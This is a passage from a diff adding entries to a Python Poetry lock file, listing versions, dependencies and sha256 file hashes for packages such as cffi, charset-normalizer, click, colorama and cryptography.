"sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325"}, + {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c"}, + {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef"}, + {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8"}, + {file = "cffi-1.15.1-cp311-cp311-win32.whl", hash = "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d"}, + {file = "cffi-1.15.1-cp311-cp311-win_amd64.whl", hash = "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104"}, + {file = "cffi-1.15.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405"}, + {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e"}, + {file = "cffi-1.15.1-cp36-cp36m-win32.whl", hash = "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf"}, + {file = "cffi-1.15.1-cp36-cp36m-win_amd64.whl", hash = "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497"}, + {file = "cffi-1.15.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c"}, + {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426"}, + {file = "cffi-1.15.1-cp37-cp37m-win32.whl", hash = "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9"}, + {file = "cffi-1.15.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045"}, + {file = "cffi-1.15.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02"}, + {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192"}, + {file = "cffi-1.15.1-cp38-cp38-win32.whl", hash = "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314"}, + {file = "cffi-1.15.1-cp38-cp38-win_amd64.whl", hash = "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5"}, + {file = "cffi-1.15.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585"}, + {file = "cffi-1.15.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35"}, + {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27"}, + {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76"}, + {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3"}, + {file = "cffi-1.15.1-cp39-cp39-win32.whl", hash = "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee"}, + {file = "cffi-1.15.1-cp39-cp39-win_amd64.whl", hash = "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c"}, + {file = "cffi-1.15.1.tar.gz", hash = "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9"}, +] + +[package.dependencies] +pycparser = "*" + +[[package]] +name = "charset-normalizer" +version = "3.2.0" +description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." +optional = false +python-versions = ">=3.7.0" +files = [ + {file = "charset-normalizer-3.2.0.tar.gz", hash = "sha256:3bb3d25a8e6c0aedd251753a79ae98a093c7e7b471faa3aa9a93a81431987ace"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0b87549028f680ca955556e3bd57013ab47474c3124dc069faa0b6545b6c9710"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7c70087bfee18a42b4040bb9ec1ca15a08242cf5867c58726530bdf3945672ed"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a103b3a7069b62f5d4890ae1b8f0597618f628b286b03d4bc9195230b154bfa9"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:94aea8eff76ee6d1cdacb07dd2123a68283cb5569e0250feab1240058f53b623"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:db901e2ac34c931d73054d9797383d0f8009991e723dab15109740a63e7f902a"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b0dac0ff919ba34d4df1b6131f59ce95b08b9065233446be7e459f95554c0dc8"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:193cbc708ea3aca45e7221ae58f0fd63f933753a9bfb498a3b474878f12caaad"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:09393e1b2a9461950b1c9a45d5fd251dc7c6f228acab64da1c9c0165d9c7765c"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:baacc6aee0b2ef6f3d308e197b5d7a81c0e70b06beae1f1fcacffdbd124fe0e3"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:bf420121d4c8dce6b889f0e8e4ec0ca34b7f40186203f06a946fa0276ba54029"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:c04a46716adde8d927adb9457bbe39cf473e1e2c2f5d0a16ceb837e5d841ad4f"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:aaf63899c94de41fe3cf934601b0f7ccb6b428c6e4eeb80da72c58eab077b19a"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:d62e51710986674142526ab9f78663ca2b0726066ae26b78b22e0f5e571238dd"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-win32.whl", hash = "sha256:04e57ab9fbf9607b77f7d057974694b4f6b142da9ed4a199859d9d4d5c63fe96"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:48021783bdf96e3d6de03a6e39a1171ed5bd7e8bb93fc84cc649d11490f87cea"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:4957669ef390f0e6719db3613ab3a7631e68424604a7b448f079bee145da6e09"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:46fb8c61d794b78ec7134a715a3e564aafc8f6b5e338417cb19fe9f57a5a9bf2"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f779d3ad205f108d14e99bb3859aa7dd8e9c68874617c72354d7ecaec2a054ac"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f25c229a6ba38a35ae6e25ca1264621cc25d4d38dca2942a7fce0b67a4efe918"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2efb1bd13885392adfda4614c33d3b68dee4921fd0ac1d3988f8cbb7d589e72a"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1f30b48dd7fa1474554b0b0f3fdfdd4c13b5c737a3c6284d3cdc424ec0ffff3a"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:246de67b99b6851627d945db38147d1b209a899311b1305dd84916f2b88526c6"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9bd9b3b31adcb054116447ea22caa61a285d92e94d710aa5ec97992ff5eb7cf3"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:8c2f5e83493748286002f9369f3e6607c565a6a90425a3a1fef5ae32a36d749d"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:3170c9399da12c9dc66366e9d14da8bf7147e1e9d9ea566067bbce7bb74bd9c2"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7a4826ad2bd6b07ca615c74ab91f32f6c96d08f6fcc3902ceeedaec8cdc3bcd6"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:3b1613dd5aee995ec6d4c69f00378bbd07614702a315a2cf6c1d21461fe17c23"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:9e608aafdb55eb9f255034709e20d5a83b6d60c054df0802fa9c9883d0a937aa"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-win32.whl", hash = "sha256:f2a1d0fd4242bd8643ce6f98927cf9c04540af6efa92323e9d3124f57727bfc1"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:681eb3d7e02e3c3655d1b16059fbfb605ac464c834a0c629048a30fad2b27489"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c57921cda3a80d0f2b8aec7e25c8aa14479ea92b5b51b6876d975d925a2ea346"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41b25eaa7d15909cf3ac4c96088c1f266a9a93ec44f87f1d13d4a0e86c81b982"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f058f6963fd82eb143c692cecdc89e075fa0828db2e5b291070485390b2f1c9c"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a7647ebdfb9682b7bb97e2a5e7cb6ae735b1c25008a70b906aecca294ee96cf4"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eef9df1eefada2c09a5e7a40991b9fc6ac6ef20b1372abd48d2794a316dc0449"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e03b8895a6990c9ab2cdcd0f2fe44088ca1c65ae592b8f795c3294af00a461c3"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:ee4006268ed33370957f55bf2e6f4d263eaf4dc3cfc473d1d90baff6ed36ce4a"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:c4983bf937209c57240cff65906b18bb35e64ae872da6a0db937d7b4af845dd7"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:3bb7fda7260735efe66d5107fb7e6af6a7c04c7fce9b2514e04b7a74b06bf5dd"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:72814c01533f51d68702802d74f77ea026b5ec52793c791e2da806a3844a46c3"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:70c610f6cbe4b9fce272c407dd9d07e33e6bf7b4aa1b7ffb6f6ded8e634e3592"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-win32.whl", hash = "sha256:a401b4598e5d3f4a9a811f3daf42ee2291790c7f9d74b18d75d6e21dda98a1a1"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-win_amd64.whl", hash = "sha256:c0b21078a4b56965e2b12f247467b234734491897e99c1d51cee628da9786959"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:95eb302ff792e12aba9a8b8f8474ab229a83c103d74a750ec0bd1c1eea32e669"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1a100c6d595a7f316f1b6f01d20815d916e75ff98c27a01ae817439ea7726329"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:6339d047dab2780cc6220f46306628e04d9750f02f983ddb37439ca47ced7149"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e4b749b9cc6ee664a3300bb3a273c1ca8068c46be705b6c31cf5d276f8628a94"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a38856a971c602f98472050165cea2cdc97709240373041b69030be15047691f"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f87f746ee241d30d6ed93969de31e5ffd09a2961a051e60ae6bddde9ec3583aa"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:89f1b185a01fe560bc8ae5f619e924407efca2191b56ce749ec84982fc59a32a"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1c8a2f4c69e08e89632defbfabec2feb8a8d99edc9f89ce33c4b9e36ab63037"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:2f4ac36d8e2b4cc1aa71df3dd84ff8efbe3bfb97ac41242fbcfc053c67434f46"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a386ebe437176aab38c041de1260cd3ea459c6ce5263594399880bbc398225b2"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:ccd16eb18a849fd8dcb23e23380e2f0a354e8daa0c984b8a732d9cfaba3a776d"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:e6a5bf2cba5ae1bb80b154ed68a3cfa2fa00fde979a7f50d6598d3e17d9ac20c"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:45de3f87179c1823e6d9e32156fb14c1927fcc9aba21433f088fdfb555b77c10"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-win32.whl", hash = "sha256:1000fba1057b92a65daec275aec30586c3de2401ccdcd41f8a5c1e2c87078706"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-win_amd64.whl", hash = "sha256:8b2c760cfc7042b27ebdb4a43a4453bd829a5742503599144d54a032c5dc7e9e"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:855eafa5d5a2034b4621c74925d89c5efef61418570e5ef9b37717d9c796419c"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:203f0c8871d5a7987be20c72442488a0b8cfd0f43b7973771640fc593f56321f"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e857a2232ba53ae940d3456f7533ce6ca98b81917d47adc3c7fd55dad8fab858"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5e86d77b090dbddbe78867a0275cb4df08ea195e660f1f7f13435a4649e954e5"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c4fb39a81950ec280984b3a44f5bd12819953dc5fa3a7e6fa7a80db5ee853952"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2dee8e57f052ef5353cf608e0b4c871aee320dd1b87d351c28764fc0ca55f9f4"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8700f06d0ce6f128de3ccdbc1acaea1ee264d2caa9ca05daaf492fde7c2a7200"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1920d4ff15ce893210c1f0c0e9d19bfbecb7983c76b33f046c13a8ffbd570252"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:c1c76a1743432b4b60ab3358c937a3fe1341c828ae6194108a94c69028247f22"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f7560358a6811e52e9c4d142d497f1a6e10103d3a6881f18d04dbce3729c0e2c"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:c8063cf17b19661471ecbdb3df1c84f24ad2e389e326ccaf89e3fb2484d8dd7e"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:cd6dbe0238f7743d0efe563ab46294f54f9bc8f4b9bcf57c3c666cc5bc9d1299"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1249cbbf3d3b04902ff081ffbb33ce3377fa6e4c7356f759f3cd076cc138d020"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-win32.whl", hash = "sha256:6c409c0deba34f147f77efaa67b8e4bb83d2f11c8806405f76397ae5b8c0d1c9"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:7095f6fbfaa55defb6b733cfeb14efaae7a29f0b59d8cf213be4e7ca0b857b80"}, + {file = "charset_normalizer-3.2.0-py3-none-any.whl", hash = "sha256:8e098148dd37b4ce3baca71fb394c81dc5d9c7728c95df695d2dca218edf40e6"}, +] + +[[package]] +name = "click" +version = "8.1.4" +description = "Composable command line interface toolkit" +optional = false +python-versions = ">=3.7" +files = [ + {file = "click-8.1.4-py3-none-any.whl", hash = "sha256:2739815aaa5d2c986a88f1e9230c55e17f0caad3d958a5e13ad0797c166db9e3"}, + {file = "click-8.1.4.tar.gz", hash = "sha256:b97d0c74955da062a7d4ef92fadb583806a585b2ea81958a81bd72726cbb8e37"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "platform_system == \"Windows\""} + +[[package]] +name = "colorama" +version = "0.4.6" +description = "Cross-platform colored terminal text." +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +files = [ + {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, + {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, +] + +[[package]] +name = "cryptography" +version = "41.0.2" +description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." +optional = false +python-versions = ">=3.7" +files = [ + {file = "cryptography-41.0.2-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:01f1d9e537f9a15b037d5d9ee442b8c22e3ae11ce65ea1f3316a41c78756b711"}, + {file = "cryptography-41.0.2-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:079347de771f9282fbfe0e0236c716686950c19dee1b76240ab09ce1624d76d7"}, + {file = "cryptography-41.0.2-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:439c3cc4c0d42fa999b83ded80a9a1fb54d53c58d6e59234cfe97f241e6c781d"}, + {file = "cryptography-41.0.2-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f14ad275364c8b4e525d018f6716537ae7b6d369c094805cae45300847e0894f"}, + {file = "cryptography-41.0.2-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:84609ade00a6ec59a89729e87a503c6e36af98ddcd566d5f3be52e29ba993182"}, + {file = "cryptography-41.0.2-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:49c3222bb8f8e800aead2e376cbef687bc9e3cb9b58b29a261210456a7783d83"}, + {file = "cryptography-41.0.2-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:d73f419a56d74fef257955f51b18d046f3506270a5fd2ac5febbfa259d6c0fa5"}, + {file = "cryptography-41.0.2-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:2a034bf7d9ca894720f2ec1d8b7b5832d7e363571828037f9e0c4f18c1b58a58"}, + {file = "cryptography-41.0.2-cp37-abi3-win32.whl", hash = "sha256:d124682c7a23c9764e54ca9ab5b308b14b18eba02722b8659fb238546de83a76"}, + {file = "cryptography-41.0.2-cp37-abi3-win_amd64.whl", hash = "sha256:9c3fe6534d59d071ee82081ca3d71eed3210f76ebd0361798c74abc2bcf347d4"}, + {file = "cryptography-41.0.2-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:a719399b99377b218dac6cf547b6ec54e6ef20207b6165126a280b0ce97e0d2a"}, + {file = "cryptography-41.0.2-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:182be4171f9332b6741ee818ec27daff9fb00349f706629f5cbf417bd50e66fd"}, + {file = "cryptography-41.0.2-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:7a9a3bced53b7f09da251685224d6a260c3cb291768f54954e28f03ef14e3766"}, + {file = "cryptography-41.0.2-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:f0dc40e6f7aa37af01aba07277d3d64d5a03dc66d682097541ec4da03cc140ee"}, + {file = "cryptography-41.0.2-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:674b669d5daa64206c38e507808aae49904c988fa0a71c935e7006a3e1e83831"}, + {file = "cryptography-41.0.2-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:7af244b012711a26196450d34f483357e42aeddb04128885d95a69bd8b14b69b"}, + {file = "cryptography-41.0.2-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:9b6d717393dbae53d4e52684ef4f022444fc1cce3c48c38cb74fca29e1f08eaa"}, + {file = "cryptography-41.0.2-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:192255f539d7a89f2102d07d7375b1e0a81f7478925b3bc2e0549ebf739dae0e"}, + {file = "cryptography-41.0.2-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:f772610fe364372de33d76edcd313636a25684edb94cee53fd790195f5989d14"}, + {file = "cryptography-41.0.2-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:b332cba64d99a70c1e0836902720887fb4529ea49ea7f5462cf6640e095e11d2"}, + {file = "cryptography-41.0.2-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:9a6673c1828db6270b76b22cc696f40cde9043eb90373da5c2f8f2158957f42f"}, + {file = "cryptography-41.0.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:342f3767e25876751e14f8459ad85e77e660537ca0a066e10e75df9c9e9099f0"}, + {file = "cryptography-41.0.2.tar.gz", hash = "sha256:7d230bf856164de164ecb615ccc14c7fc6de6906ddd5b491f3af90d3514c925c"}, +] + +[package.dependencies] +cffi = ">=1.12" + +[package.extras] +docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"] +docstest = ["pyenchant (>=1.6.11)", "sphinxcontrib-spelling (>=4.0.1)", "twine (>=1.12.0)"] +nox = ["nox"] +pep8test = ["black", 